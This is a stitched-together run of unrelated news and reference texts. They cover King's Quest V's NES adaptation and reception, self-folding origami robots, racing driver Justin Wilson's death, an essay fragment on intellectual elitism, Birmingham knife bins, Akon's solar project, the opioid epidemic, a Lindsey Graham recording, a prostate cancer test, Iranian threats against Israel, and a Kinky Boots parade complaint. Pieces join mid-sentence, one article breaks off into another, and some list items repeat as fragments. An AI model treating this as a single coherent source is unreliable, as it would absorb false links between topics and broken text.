In order to make the Nintendo Entertainment System adaptation more family-friendly and release it to stores everywhere, Nintendo of America had to follow its Video Game Content Guidelines requiring it to tone down violence, nudity, language, and religious themes in the games it released and it was published by Konami, rather than Sierra On-Line.[2] One example is Graham's water-drinking scene in the desert: where the narrator's words say, "Ah, life-giving water. Nectar of the Gods. Graham can now feel strength and renewal flowing through him" in the PC version, in the NES adaptation it says, "Ah! The cool water felt wonderful on Graham's parched lips and his body now feels rejuvenated." This was edited due to religious themes.[citation needed] Another example has Queen Icebella ordering the wolves to take Graham and Cedric to the dungeons forever, instead of flat out killing them. Cedric is turned to'stone', rather than Mordack actually killing him. In the Konami release, this obviously was to censor out the threatened violence, but the threatened violence was shown in the Sierra On-Line release.
Atari ST [ edit ]
An Atari ST version was announced via Sierra Online's magazine: Sierra News Magazine for a Spring 1991 release but was later canceled.[3] Sierra's Srini Vasan and Sierra UK fought for continued Atari ST development[4] but Sierra Online discontinued Atari ST support entirely shortly afterwards.
Reception [ edit ]
King's Quest V sold 250,000 copies by February 1993,[5] and sales ultimately surpassed 500,000 copies.[6] According to Sierra On-Line, combined sales of the King's Quest series surpassed 3.8 million units by the end of March 1996.[7] By November 2000, PC Data reported that King's Quest V's sales in the United States alone had reached between 300,000 and 400,000 units.[8]
Computer Gaming World's Scorpia in 1991 praised the "tour de force" VGA graphics, sound card audio, non-typing parser and user interface, but criticized the gigantic, yet almost pointless, desert map. She concluded that the game was best for new adventurers because of its easy puzzles, and a "pleasant diversion" for more-experienced players.[9] In 1991, Dragon gave the game 4 out of 5 stars.[10]
In April 1993 Computer Gaming World's Charles Ardai called the voice acting in the CD-ROM version of the game "wooden".[11] In April 1994 the magazine said that "the quality of the voice acting covers the gamut from excellent to mediocre and, in some cases, can grate on the nerves", but the CD version was still preferable because "other enhancements are excellent".[12] In 2007, Adventure Gamers gave the game a three out of five stars.[13] Allgame also gave the PC original four out of five stars,[14] while giving its NES adaptation two-and-a-half stars.[15]
King's Quest V won the 1991 Software Publishers Association Excellence in Software Award for Best Fantasy Role-Playing/Adventure Program,[16] Computer Gaming World named the game as its 1991 Adventure Game of the Year,[17] and in 1992 named it to the magazine's Hall of Fame for games readers rated highly over time.[18] In 1992 King's Quest V was voted "Best Multimedia Fantasy/Adventure Game" by readers of MPC World.[19] In 1996 Computer Gaming World named King's Quest V the 94th best game ever. The editors wrote that "Roberta Williams horrified Sierra traditionalists by getting the parser out of the way of some of the most beautiful graphics ever.[20]
In other games [ edit ]
Sierra displayed their acknowledgement at the criticisms of King's Quest V through references to the game in several of their releases:
In Space Quest IV, Cedric acts as an enemy in the Ms. Astro Chicken arcade game.
, Cedric acts as an enemy in the Ms. Astro Chicken arcade game. In Space Quest 6, the game mocks Cedric whenever Roger tries to tell the elevator door to open or close.
, the game mocks Cedric whenever Roger tries to tell the elevator door to open or close. In Freddy Pharkas: Frontier Pharmacist, Cedric can be seen perched atop a cactus, and then later eviscerated by vultures.
, Cedric can be seen perched atop a cactus, and then later eviscerated by vultures. In King's Quest VI, the pawn shop features various references to the problems with KQV and other past games in the series
, the pawn shop features various references to the problems with KQV and other past games in the series In Quest For Glory: Shadow of Darkness, one of the possible wrong answers to a riddle from Leshy is Cedric, to which Leshy then shudders.
King's Quest V also inspired a text-based remake, King's Quest V – The Text Adventure, and also another parody fan-game Owl's Quest: Every Owl Has It's Day starring Cedric which pokes fun of many of the situations and mannerisms of Cedric.For Real-Life Transformers, Mix Paper, Batteries and Origami
Researchers make robots by electrifying paper.
Charles Q. Choi, Contributor
(Inside Science) -- Disappointed that your Transformers action figures can't transform themselves? Researchers have created real-life transformer robots that can fold themselves from sheets into walking pieces of motorized origami.
These new inventions could one day lead to sophisticated machines that can be shipped in flat boxes like IKEA-style furniture that assembles itself at home, or unfold in outer space for exploration, or deployed into confined spaces such as collapsed buildings for search-and-rescue operations. Origami-based engineering could also lead to lightweight, ultra-tough materials that can alter their mechanical properties on demand, scientists added.
Roboticist Sam Felton at Harvard University and his colleagues began investigating origami, the Japanese art of folding paper into complex structures, as a way to cheaply and quickly make robots. "When we tried folding robot designs by hand, we found it could take an hour even for an experienced user to do," Felton said. "So we decided to automate the folding so the robots could assemble themselves."
The researchers developed flat sheets that were composites of thick paper and Shrinky Dinks, children's toys consisting of clear flexible plastic sheets that shrink when heated. They next added electronics such as motors, batteries, microchips and other circuitry, as well as hinges designed to fold at specific angles. All in all, the robot, which is about 5 inches long, is made with only $19 worth of easy-to-find parts and materials and weighs just roughly 80 grams [2.8 ounces], slightly lighter than a current-generation iPod Touch.
The robot operates on a timer, waiting about 10 seconds after the batteries are installed to begin transformation. The electronics heat the Shrinky Dink layer, a plastic that is a kind of shape-memory polymer, meaning it changes shape when a certain temperature is reached — in this case, about the boiling temperature of water, 212 degrees Fahrenheit.
Heating the plastic drives the robot to fold itself in about four minutes. After the droid cools, the plastic hardens, making the robot stiff. The entire transformation consumes roughly the same amount of energy as in one AA alkaline battery.
One of the main challenges in developing the robot was how early prototypes tended to burn up before they completed folding, as the transformation requires about 10 times the current that usually runs through a light bulb.
The robot's motors could then drive four of its legs to crawl at a speed of a little more than two inches per second, while two other legs under the droid remain stationary to help it keep balance.
"This is the first time someone has made a functional machine that can fold itself and that doesn't need outside help to work," Felton said.
The scientists used 3-D origami design software to determine the order in which the folds should occur and where the electronics should be placed.
In the future, the researchers imagine people could order customized origami robots whenever they want. "Let's imagine a user Alice," said computer scientist Daniela Rus at MIT. "Say she wants a playmate for her cat for when she is at work. To do so, Alice would go to a new type of store called 24-Hour Robot Manufacturing with a rough idea of what she wants... the cost would be affordable and the robot would be made right away."
The researchers now plan on exploring other kinds and sizes of origami robots, made of different materials that could result in stronger droids or machines that require less energy to transform. For instance, "we're exploring a simple 5-millimeter [0.2-inch] cube right now that uses aluminum on paper instead of Shrinky Dinks," Felton said. In the future, added electronics could help people remote control the robots, or have their transformation triggered by environmental cues such as temperature, magnetism or pressure, he added.
In separate research, physicist Jesse Silverberg at Cornell University and his colleagues investigated origami principles to help develop novel materials. Silverberg originally started folding origami in the second grade. They focused on an origami pattern known as the Miura-ori fold (see image below), which is currently used to fold large maps into small rectangles and originally invented to help pack solar panels efficiently on spacecraft.
The Miura-ori fold in origami. MetaNest via Wikimedia.
While most known materials bulge when squeezed, like a jelly donut, Miura-ori structures collapse when compressed, like an accordion's bellows. The scientists found that when they changed the way creases fold, they could tune how stiff the resulting Miura-ori structures were in a reversible manner.
"Even though a piece of paper seems so simple to understand, a rich amount of physics was hiding in plain sight," Silverberg said.
These findings could not only lead to materials with tunable mechanical properties, but robots with reprogrammable traits as well. "We can imagine a class of transforming robots that can at one moment be soft and flexible, but by activating a new crease pattern, limbs, surfaces and arms can rapidly become rigid," Silverberg said.
The scientists detailed their findings in two papers in the August 8 issue of the journal Science.Justin Wilson, 37, died Monday, a day after he was struck in the head by a piece of debris during the Verizon IndyCar Series race at Pocono Raceway, according to IndyCar.
Wilson was hit by debris from the car of rookie Sage Karam, who was leading the ABC Supply 500 when his No. 8 Chip Ganassi Racing Chevrolet spun on its own in Turn 1 on Lap 179 of the 200-lap race Sunday. IndyCar drivers are far more susceptible to head injuries because the cockpits are open and their helmets exposed.
Wilson is the first driver since Dan Wheldon in 2011 to die in a major U.S.-based auto racing series.
He is survived by wife Julia and daughters Jane, 7, and Jessica, 5.
“This is a monumentally sad day for IndyCar and the motorsports community as a whole,” said Mark Miles, CEO of Hulman & Co., the parent of IndyCar and Indianapolis Motor Speedway. “Justin’s elite ability to drive a race car was matched by his unwavering kindness, character and humility — which is what made him one of the most respected members of the paddock. As we know, the racing industry is one big family, and our efforts moving forward will be focused on rallying around Justin’s family to ensure they get the support they need during this unbelievably difficult time.”
Miles, who announced Wilson’s death at press conference at Indianapolis Motor Speedway shortly after 9 p.m. ET Monday night, took no questions but said the series would address Wilson’s accident further in the coming days.
The Wilson family also issued a statement confirming his death Monday night:
“With deep sadness, the parents of Justin Wilson, Keith and Lynne, his wife Julia, and his brother Stefan share the news that Justin passed away today after succumbing to injuries suffered during the Verizon IndyCar event at Pocono Raceway on Sunday, August 23. Justin was a loving father and devoted husband, as well as a highly competitive racing driver who was respected by his peers. The family would like to thank the staff at the Lehigh Valley Health Network Cedar Crest Hospital, Pocono Raceway, Andretti Autosport, and the Verizon IndyCar Series as well as the entire racing community for the amazing outpouring of support from fans around the world. The family has requested that in lieu of flowers, donations be made to the Wilson Children’s Fund care of IndyCar.”
Wilson was taken to Lehigh Valley Health Network Cedar Crest in Allentown, Pa., and IndyCar officials released a statement around 9 p.m. ET Sunday stating Wilson was in a coma and in critical condition with a serious head injury. IndyCar said early Monday afternoon that Wilson’s condition remained the same.
REACTION: Auto racing world on Justin Wilson’s death
Once Wilson was struck, his car immediately veered to the left and into the inside wall on the exit of Turn 1. The wall was covered by a SAFER barrier. Safety workers immediately arrived and frantically worked to extricate Wilson from the No. 25 Andretti Autosport Honda.
It is not known if he suffered other injuries.
IndyCar driver/owner Ed Carpenter joined Miles for the somber press conference Monday night to announce Wilson’s death and to speak for all the drivers in the series:
“Obviously, Justin was a great professional driver and extremely good at his craft. Beyond that he was a great guy. One of the few, if only, guys that really was a friend among everyone in the paddock, amongst the competitors, and respected for the way he carried himself. “What Justin’s gone through over the past couple years, how hard he worked to get back into the car this season, and the opportunity that he had with Andretti, I think he exemplified the reason we all love doing this. As challenging as today is and (Aug. 23) was, he was doing what he loved to do, what we all love to do, and why we’ll all be back competing in his honor in the near future.”
Andretti Autosport also released a statement following the announcement of Wilson’s death:
“We are deeply saddened by the passing of Justin Wilson. He was a tremendous racer, a valuable member of the team and respected representative to our sport. While Justin was only part of the Andretti lineup for a short time, it only took a second for him to forever become part of the Andretti family. His life and racing career is a story of class and passion surpassed by none. Our thoughts and prayers remain with the Wilson family and fans worldwide.”
Wilson was a native of Sheffield, England, who resided in Longmont, Colo. He had competed in American open-wheel racing since 2004, and competed in six races this season for Andretti Autosport, owned by former driver Michael Andretti.
Stefan Wilson, Justin’s younger brother and fellow racecar driver, said he was his best friend, a mentor and a hero.
Can't even begin to describe the loss I feel right now. He was my Brother, my best friend, my role model and mentor. He was a champion! — Stefan Wilson (@stef_wilson) August 25, 2015
He never stopped giving & caring for others. Even at this time. He had pre-chosen to donate his organs to help others in need. #myherojw — Stefan Wilson (@stef_wilson) August 25, 2015
I often told him, I just want to grow up to be half the man he is, as that will make me a pretty good man. pic.twitter.com/Q3hOCtu5Pv — Stefan Wilson (@stef_wilson) August 25, 2015
Wilson considered Sheffield home, but he spent recent years living in the Denver suburb, where he was an avid mountain cyclist.
Wilson reached the highest level of international motor sports – Formula One – but his stay there was short. He arrived in the U.S. in 2004 and immediately made an impact with his results and personality.
Wilson won four races in the old Champ Car World Series and three more in the combined IndyCar Series. He added eight poles and shared driving duties on the winning sports car entry in the 2012 Rolex 24 Hours of Daytona, the USA’s leading endurance race held each January in Daytona Beach, Fla.
In spite of Wilson’s undeniable talent, IndyCar never seemed to shine on him. This partial-season ride with Andretti Autosport was his sixth IndyCar team. He often seemed close to landing with one of the larger teams, but deals never seemed to materialize, mostly because a lack of sponsorship.
“The guy just couldn’t get a break,” said veteran engineer Bill Pappas, who felt as close to Wilson as a brother. “He’s the best racer who couldn’t get a (great) job.”
JAMES: Wilson’s death a cruel reminder of sport’s danger
Pappas, who won races with Wilson, including two with Dale Coyne’s underdog team, said his wife called Wilson “the Renaissance Man” because of his varied interests and his ability to relate to everyone he met. Pappas said Wilson, a leading advocate for driver safety, could communicate at any level.
“He was the common man of sport, a true sportsman,” Pappas said.
Said Colorado mountain bike training partner JR Hildebrand, a fellow IndyCar driver: “I never heard him say a bad word about anybody.”
Part of Wilson’s charm was his vulnerability. He was dyslexic, and he used his platform to raise awareness for others. But he never used it as an excuse for the challenges he overcame as a young man.
Wilson put so much thought into motor sports safety that earlier this summer he offered an alternative approach to protecting fans. While acknowledging his radical idea would be expensive to implement, Wilson suggested tracks move spectator grandstands to the inside of oval tracks since a car’s momentum carries debris to the outside. Instead of cable fencing with posts like what Wheldon fatally smashed into, Wilson suggested seamless metal barriers to allow cars to slide without becoming entangled.
Indianapolis Motor Speedway president Doug Boles also issued a statement on Wilson’s death on behalf of the legendary home of IndyCar:
“We’re saddened to have lost such an exceptional driver, friend and role model to many in the IndyCar community. Justin was one of the most versatile and talented drivers of the last 15 years, as evidenced by his wins in sports cars, Champ Car and IndyCar. More important than his driving ability was his approachable personality, his calm spirit, and the respect he earned throughout the racing community for the tremendous person, friend, father and husband he was. Justin made innumerable friends and admirers throughout the Indianapolis Motor Speedway and INDYCAR communities. All of us at IMS extend our prayers and deepest sympathy to the Wilson family.”
Graham Rahal was Wilson’s |
’s subsequent history simultaneously has rendered so moot. I fear the plutocracy of wealth—as do tens of millions of my fellow Americans. I respect the aristocracy of learning—as do tens of millions of my fellow Americans. But who now really believes that we ever possessed in these United States a democracy of the heart that makes it possible for every human being to make the world better for his or her existence in it... if they are not “smart”?
Bryan said that in 1907, at a time when only 6 percent of Americans graduated from high school. It was easier then, I suppose, to imagine a world able to leverage the fundamental decencies of those who are not “smart” than it is now, when more than 80 percent of Americans finish high school, and when every respected voice in society strains itself to make the non-high-school-graduated souls among us feel dumb and useless.
I could write hundreds of pages of examples. Perhaps someday I will. Chris Hayes, who is both wise and smart, recently recounted a sort of exit interview he conducted with Harry Reid. What, he asked the retiring Senate minority leader, does the Democratic Party stand for? Reid rehearsed his own impoverished rural upbringing. Then he said, “I want everyone in America to understand, if Harry Reid can make it in America, anyone can. And I want those young men and women out there who are looking for a way out to realize, if Harry Reid can make it, anybody can. That’s what America is all about.”
How do you make it in America now? Everyone knows. You get “smart”: you apply yourself to education. Faith in the salvific power of education is an old story among Democrats. Lyndon Johnson, his White House aide George Reedy recalled, “had an abnormal, superstitious respect for education. I believe he even thought it would cure chilblain.”
I’ve always loved that quote. Now I better understand why: often, the cult of “smart” is a superstition. In LBJ’s time, to believe in it was “abnormal.” Now, that belief is collective—quite nearly unanimous. Which doesn’t make things easier for the Democrats pushing the ideology of cognitive elitism most assiduously. “Why do working-class Bush voters tend to resent intellectuals more than they do the rich?” David Graeber asked in 2007. “It seems to me the answer is simple. They can imagine a scenario in which they might become rich but cannot possibly imagine one in which they, or any of their children, would become members of the intelligentsia.”
For if you’re not a part of the intelligentsia, well, how can you possibly make the world better for your existence in it? This frustration, however, is precisely what makes perfectly decent people, whose only sin is that a self-arrogated cognitive elite doesn’t consider them particularly useful, such easy pickings for political con men who assure them that they’re actually the smart ones. And that, all in all, is not very smart.Image copyright Word4weapons Image caption Three bins have been set up and there are plans for more
People carrying knives are being encouraged to surrender their weapons during a community initiative to tackle knife crime in Birmingham.
Three secure metal bins where people can dispose of weapons have been set up across the city.
It follows several stabbings in the city last year.
The knife surrender is under way with three secure knife bins and plans for a further six. The police say the term amnesty is wrong because there's never a reason to carry a knife and people should surrender them. But this is supposed to be community led, with young people, church groups and charities getting involved. Knife crime in Birmingham has actually fallen by 75% over the past decade but over the past ten months there's been a slight rise about 3%. Will the surrender work? Just three bins at the beginning of the campaign mean it's low level for the moment. Everyone is agreed that education has to play an important part in getting the message across not to carry knives. In London, 23 bins have been put on the streets and 10,000 knives handed in. Those involved say just one person changing their attitude can save a single life.
A knife surrender differs from an amnesty in that there is no temporary suspension of laws against carrying a knife.
The bins can be found at:
New Testament Church Of God, New Spring Street, Hockley
New Testament Church Of God, Lozells Road, Birmingham
New Testament Church of God, Goosemore Lane, Erdington
Police and Crime Commissioner (PCC) for the West Midlands, Bob Jones, announced the plans last October.
Police figures showed that in 2012-13 there were 1,615 knife-related incidents in the city, although police said over the past six years knife crime had fallen by 63% across the force area.
The force said there were plans for more knife disposal bins "in the near future" and there was "no fixed duration for the initiative".
Mr Jones said: "Our communities have told us that they want an end to knife crime and that they want to work with us to make that happen."Earlier this month, a new music video from Akon appeared on YouTube, marking a rare resurfacing for the silky-voiced singer. Far from the strip-clubs-and-sports-cars milieu that characterized much of his earlier work, the visuals for “Tell Me We’re Ok” featured Akon and producer DJ Hardwerk performing before youngsters on a Nigerian soccer field—illuminated with lights powered by kinetic tiles that convert footsteps into energy—with Shell oil banners blowing in the breeze behind them.
The placement was as much a coincidence as a Beats logo making an appearance in a Dr. Dre video; indeed, a recent press release billed “Tell Me We’re Ok” as a collaboration between the energy giant and Akon “to highlight the increasing need to provide innovative options for access to smarter energy for people in Africa.” But appearing on the kinetic-energy-and-solar-powered pitch, the first of its kind on the continent, is just a small part of Akon’s ambitious efforts in his homeland.
In the seven years since his last sit-down with FORBES, which came in the midst of a three-year run where he earned $53 million pretax, Akon has largely disappeared from the public eye—in North America, anyway. On other continents, particularly Africa, it’s a different story.
“I was a little over-saturated,” says the singer, reclining on a couch in the London hotel in New York on a recent spring morning. “Everywhere you went, you heard me. Radio, TV, you name it. It got to the point where I just wanted to … experiment more, and do what I always wanted to do: really do a lot more international stuff.”
As Akon toured abroad, he found that one of the biggest obstacles toward earning money was the lack of electricity—many of the countries where he wanted to tour simply didn’t have the infrastructure to support the sort of big concerts and festivals he was used to playing in the states, particularly after dark. So he teamed up with fellow Senegalese-American Thione Niang and Malian entrepreneur Samba Bathily to create Akon Lighting Africa nearly three years ago.
The initiative now touts staggering progress in the movement to illuminate a country where millions remain without power: 100,000 solar street lamps installed across 480 communities in 15 countries, along with 1,200 solar micro-grids and 5,500 indirect jobs created. It’s been a novel approach compared to previous efforts in Africa, most of which focused on setting up 20th Century electric infrastructure.
“The majority of them was focused on the grid,” says Akon, who saw an opportunity for Africa to skip directly to localized solar power, just as much of the continent when from having no phone service at all to having cell phones. “Clearly our main focus was the rural areas outside the city. The challenging part was really getting the leaders there to kind of understand what we were trying to do because solar, at that time, was fairly new and very expensive.”
To foot the bill, ALA partnered with China Jiangsu International, which facilitated a $1 billion credit line for the project (the Asian industrial conglomerate did not reply to a request for comment). Akon says Jiangsu became interested in the venture after tariffs in the U.S. and Europe made it prohibitively expensive to sell Chinese solar technology in the west. Under the agreement with ALA, Jiangsu provides solar arrays and bills African governments, allowing them to pay back the outlay in three to five years.
This approach has its share of critics in the blogosphere, some of whom say that Akon is being used--perhaps knowingly--as a pawn for Chinese economic interests. But plenty in Africa think otherwise, including Boubacar Djiba, who works at the British Council in Senegal and runs a label called Vazy Music.
“The Chinese have been supporting Africa for years,” he says. “Frankly, it's not a relevant argument. People who say that just want to criticize and they don't even understand the impact of this project. … You need reliable and ambitious partners in order to evolve this kind of project. In every project you need a front person and Akon fits for that role.”
Akon, for one, doesn’t pretend that his project is philanthropy. “It’s definitely not a charity,” he says. “It is a for-profit company. The way I would categorize it, really, is just social entrepreneurship. We do our business in Africa that's not [just] to help people, but empower them to make their money in the process.”
Of course, there’s plenty of that for Akon, too. He and his partners put in their own cash at first, and now Jiangsu and other investors have done the same; he says they’ll share profits after the initial outlay gets paid back. It’s not yet clear how much he’ll be making on the arrangement, but in any case, it’s unwise to underestimate the Senegalese-American singer.
“Akon is one of the savviest businessmen in the industry,” media buyer Ryan Schinman told FORBES back in 2009. “He’s not going anywhere.”
That second part may not be quite true. But as the past few years have shown, even when Akon goes somewhere, he tends to come back with a new and lucrative hustle—perhaps helping improve the lives of a multitude along the way.
“In Africa, the project is perceived as a huge solution that can not only create jobs but also improve the living conditions of millions of people,” says Djiba. “Africans are also happy to see that this project is run by young Africans who are inspiring the upcoming generation by changing the face of the continent.”
For Akon, that means not only coming up with market-driven solutions, but presenting them in an easily-digestible manner. Hence "Tell Me We're Ok" and its accompanying video, which was meant to inspire listeners. It also managed to do the same for its creators.
“The application of the kinetic tiles, it's just such a game changer,” says DJ Hardwerk, who joined Akon in Lagos for the video shoot. “Everything from shopping malls to sidewalks to airports … the application there is limitless.”
As for Shell’s involvement, Akon immediately saw the benefit when they approached him—and not just business-wise.
“Shell has never really been in the music space, the same way I myself has never been in the energy space,” says Akon. “I think it's going to be the collaboration of people [who] normally don't do [things] together that's going to make these kinds of changes.”
For more on the business of entertainment, sign up for my email updates and check out my books on Jay Z and Michael Jackson.THEY have America in a deadly grip. In 2015, the most recent year for which full statistics are available, 33,091 Americans died from opioid overdoses, according to the Centres for Disease Control—almost three times the number who perished in 2002. Nearly as many Americans were killed by opioids in 2015 as were killed by guns (36,132) or in car crashes (35,092). In the state of Maryland, which releases more timely figures, drug-overdose deaths were 62% higher in the first nine months of 2016 than a year earlier.
The opioid epidemic is quite unlike past drug plagues. Deaths are highest in the Midwest and north-east, among middle-aged men, and among whites. Some of the worst-affected counties are rural. In 2013 a 40-year-old woman walked into a chemist’s shop in the tiny settlement of Pineville, West Virginia, pulled out a gun, and demanded pills. Don Cook, a captain in the local sheriff’s department, says he continues to nab many people for illegally trading prescription painkillers.
Get our daily newsletter Upgrade your inbox and get our Daily Dispatch and Editor's Picks.
The epidemic is, in short, concentrated in Donald Trump’s America. (Commendably, Mr Trump raised the danger of opioids on the campaign trail; sadly, he has done little since becoming president beyond setting up a commission.) It has even been argued that the opioid epidemic and the Trump vote in 2016 are branches of the same tree. Anne Case and Angus Deaton, both economists at Princeton University, roll opioid deaths together with alcohol poisonings and suicides into a measure they call “deaths of despair”. White working-class folk feel particular anguish, they explain, having suffered wrenching economic and social change.
As an explanation for the broad trend, that might be right. Looked at more closely, though, the terrifying rise in opioid deaths in the past few years seems to have less to do with white working-class despair and more to do with changing drug markets. Distinct criminal networks and local drug cultures largely explain why some parts of America are suffering more than others.
Opioids can be divided into three broad groups. First, and most notorious, are legitimate painkillers such as OxyContin. Heavily prescribed from the 1990s, some of these pills were abused by people who defeated their slow-release mechanisms by crushing and then snorting or injecting them. The second group consists of powerful synthetic opioids such as fentanyl and carfentanil. These have legitimate medical uses, but are often manufactured illicitly and smuggled into America. The third opioid is heroin, derived from opium poppies, almost all of it illegally.
Until about 2010 the rise in opioid deaths was driven by the abuse of legitimate painkillers, which are sometimes called “semi-synthetic” because they are derived from plants. In the past few years, though, heroin and synthetic opioids have become bigger threats (see chart 1). Some addicts have moved from one class of opioid to another. The Drug Enforcement Administration (DEA) estimates that almost four out of five new heroin users previously abused prescription drugs.
OxyContin pills can no longer be crushed as easily, and doctors have become more wary of prescribing powerful painkillers. As a result, between 2012 and 2016 opioid prescriptions fell by 12%. Heroin can be cheaper and easier to obtain. According to one narcotics officer in New Hampshire, a 30-milligram prescription pain pill sells for $30 on the street. A whole gram of heroin can be had for $60-80.
Fentanyl is cheaper still. It is often made in Chinese laboratories and smuggled into America; some traffickers obtain it through the dark web, an obscure corner of the internet. Fentanyl is usually added to heroin to make it more potent or is made into pills, which can resemble prescription painkillers. Because it is such a powerful drug—at least 50 times stronger than heroin—the smuggling is easy and the potential profits are huge. One DEA official has explained that a kilogram of fentanyl from China costs about $3,000-5,000 and can be stretched into $1.5m in revenue in America. By comparison, a kilogram of heroin purchased for $6,000 translates to $80,000 on the street.
Yet not all addicts make the switch from one kind of opioid to another. In West Virginia, Mr Cook hardly ever encounters heroin—perhaps, he suggests, because no major highway runs through his patch. Whereas the death rate from prescription painkillers is more or less the same in America’s four regions, deaths from heroin and synthetic opioids are high in the Midwest and north-east, middling in the South and low in the West (see chart 2). All eight states where police agencies reported 500 or more encounters with fentanyl in 2015 are east of the Mississippi river.
“Once a drug gets into a population, it’s very hard to get it out,” explains Peter Reuter, a drugs specialist at the University of Maryland. “But if it doesn’t get started, it doesn’t get started.” It is never entirely clear why a drug catches on in one place but not another. There is, however, a possible explanation for why heroin and synthetic opioids have not yet taken off in western states: the heroin market is different.
Although most heroin enters America from Mexico, there are really two trafficking routes. Addicts west of the Mississippi mostly use Mexican brown-powder or black-tar heroin, which is sticky and viscous, whereas eastern users favour Colombian white-powder heroin. According to the DEA, in 2014 over 90% of samples classified as South American heroin were seized east of the Mississippi, while 97% of Mexican heroin was purchased to the west. The line is blurring—Mexicans are pushing into the white-powder trade, and black tar is creeping east—but it still exists.
White-powder heroin looks much like a crushed pain pill, making it comparatively easy to switch from one to the other. It is also fairly easy to mix white-powder heroin with a powder such as fentanyl. Black tar is more distinct and harder to lace with other substances because of its stickiness and colour; mixing in white powder can put buyers off. “The lore on the street is: the lighter in colour brown-powder or black-tar heroin is, the less heroin it has,” says Jane Maxwell, a researcher at the University of Texas at Austin.
The West’s distinctive heroin market has probably deterred many painkiller addicts from trying the drug, and has kept synthetic opioids at bay. Outbreaks have occurred, though. In just two weeks in 2016, 52 people overdosed and 14 ultimately died near Sacramento, in California, after taking counterfeit hydrocodone pills laced with fentanyl. In New Mexico, fentanyl disguised as black-market oxycodone is thought to have killed 20 people last year. This is a rare case where one should pray that America stays divided.'I’m trying to help you with your tax status. I’m sorry the government’s so f——- up.'he said. Graham 'white men' joke surfaces
Sen. Lindsey Graham’s possible 2016 presidential bid may have just gotten a bit more complicated.
An audio recording provided to CNN captured the South Carolina Republican joking at a private Charleston club that “white men who are in male-only clubs are going to do great in my presidency.”
Story Continued Below
According to the CNN report Wednesday, Graham confirmed the veracity of the recordings. Graham was speaking to the Hibernian Society of Charleston, a charitable group with an all-male membership.
In the recording according to CNN, Graham is heard saying: “I’m trying to help you with your tax status. I’m sorry the government’s so f——- up. If I get to be president, white men in male-only clubs are going to do great in my presidency.”
Graham, a two-term Republican, is facing Brad Hutto in his bid for reelection. The Democratic state senator is not considered a major threat to unseat Graham, who fended off challenges from the right in the Republican primary.
“When behind the closed doors of a private club, Lindsey Graham let his true colors show,” Hutto said in a statement published on his campaign site. “He is only interested in his own ambitions and the best interests of the wealthy donors he hopes will fund his possible presidential campaign.”Image caption Prostate cancer kills 10,000 men in Britain a year
British scientists have moved a step closer to developing a simple urine test to identify men at risk of getting prostate cancer.
They have discovered that a protein found in urine is affected by a genetic change linked to the cancer.
More research was needed, but their work could lead to the development of a reliable test costing £5.50 ($8.82).
Prostate cancer is the most common cancer in men in the UK, killing about 10,000 men in Britain every year.
There is currently no routine screening programme in the UK, although men with a family history of the disease can have a prostate specific antigen (PSA) blood test to detect signs of the disease.
But this is notoriously inaccurate and although 10-15% of men will have high enough PSA levels to warrant carrying out a prostate biopsy, only 2-3% will require any treatment.
Research published in the online journal Public Library of Science ONE showed that the protein, called MSMB, is present at reduced levels in men diagnosed with the disease.
Levels also appear to be affected by tumour aggressiveness.
Potentially 'powerful'
Study leader Dr Hayley Whitaker, from Cancer Research UK charity's Cambridge Research Institute, said: "We looked in tissue and urine from over 350 men with and without prostate cancer to find out how much MSMB they had.
The protein is easy to detect because it is found in urine and would potentially be a very simple test to carry out Dr Hayley Whitaker, Cambridge Research Institute Fergus Walsh: Medical Files
"We then looked to see who had the genetic change. It was really exciting to find out that the genetic change and the amount of protein were linked.
"The protein is easy to detect because it is found in urine and would potentially be a very simple test to carry out on men to identify those most at risk of developing the disease."
Dr Kate Holmes, research manager at The Prostate Cancer Charity, described the test as "potentially... a powerful way to predict how likely a man is to develop prostate cancer".DUBAI (Reuters) - Iran will soon exact revenge on Israel for the recent killing of a Revolutionary Guards commander in Syria, an aide to Iranian Supreme Leader Ayatollah Ali Khamenei was quoted on Saturday as saying.
Damage is seen in buildings after what activists say were missiles fired by Syrian Air Force fighter jets operated by forces loyal to Syria's President Bashar al-Assad, in Erbeen, near Damascus, February 14, 2013, in this picture provided by Shaam News Network. REUTERS/Bassam Al-Erbeeni/Shaam News Network/Handout
Iran said on Thursday that an Iranian military commander named Hessam Khoshnevis, also called Hassan Shateri in some news accounts, had been killed in Syria by rebels fighting President Bashar al-Assad, an ally of Tehran.
Syrian rebels accuse Iran’s Revolutionary Guard of sending forces to help Assad crush their 22-month-old uprising, a charge denied by the Islamic Republic.
Details of Khoshnevis’s killing are sketchy and various accounts have emerged. But Iran’s envoy to Beirut Ghazanfar Roknabadi on Thursday drew a link between his killing and Israel.
Ali Shirazi, the representative of Khamenei to the Guards’ elite Quds force, said on Friday evening Iran’s “resolve against Israel” had only grown stronger with Khoshnevis’s killing.
“Our enemies should also know that we will quickly get revenge for (the death of) Haj Hassan (Shateri) from the Israelis, and the enemies cannot shut off the Iranian people with such stupid acts,” Shirazi was by the Iranian Students’ News Agency (ISNA) on Saturday as saying.
Israel has not commented on the killing.
Israel has hinted at military action against Iran if Tehran continues with a nuclear program which Israel says is aimed at developing a weapon. Iran says its program is peaceful.
Israel is believed to be the Middle East’s only nuclear-armed state.
The Revolutionary Guards media office said this week that Khoshnevis had been “martyred on his way from Damascus to Beirut by mercenaries”.
The state news agency IRNA said Khoshnevis was a military engineer during the 1980-88 conflict between Iran and Iraq, and had later worked in Afghanistan.
Officials stressed Khoshnevis had been engaged in civilian reconstruction in Lebanon for the last seven years. Iran backs the Lebanese Shi’ite movement Hezbollah, which fought a brief war with Israel seven years ago and allied with Assad.The Mayc’s Thanksgiving Day Parade has drawn the ire of Austin Ruse, president of The Catholic Family & Human Rights Institute (C-FAM), for its inclusion of a performance from the highly successful Broadway play “Kinky Boots,” the winner of the 2013 Tony Award for Best Musical. Guest-hosting Sandy Rios’ American Family Radio program today, Ruse claimed that the performance, which featured performers in drag, was harmful to children.
“We all know that you can’t watch television anymore, you can’t leave the children unattended in front of the television anymore, and this is true of the Macy’s Thanksgiving Day Parade,” Ruse lamented. “It was a bunch of transvestites convorting around the main stage, in the street, in front of Macy’s and they were in ladies’ underwear and kinky boots and they were all dancing around and singing these songs and there was absolutely no warning for parents to change the channel.”
“I am profoundly grateful that we didn’t turn it on until 10 a.m. after Kinky Boots had performed, but I know many other people that were not so lucky,” he added.
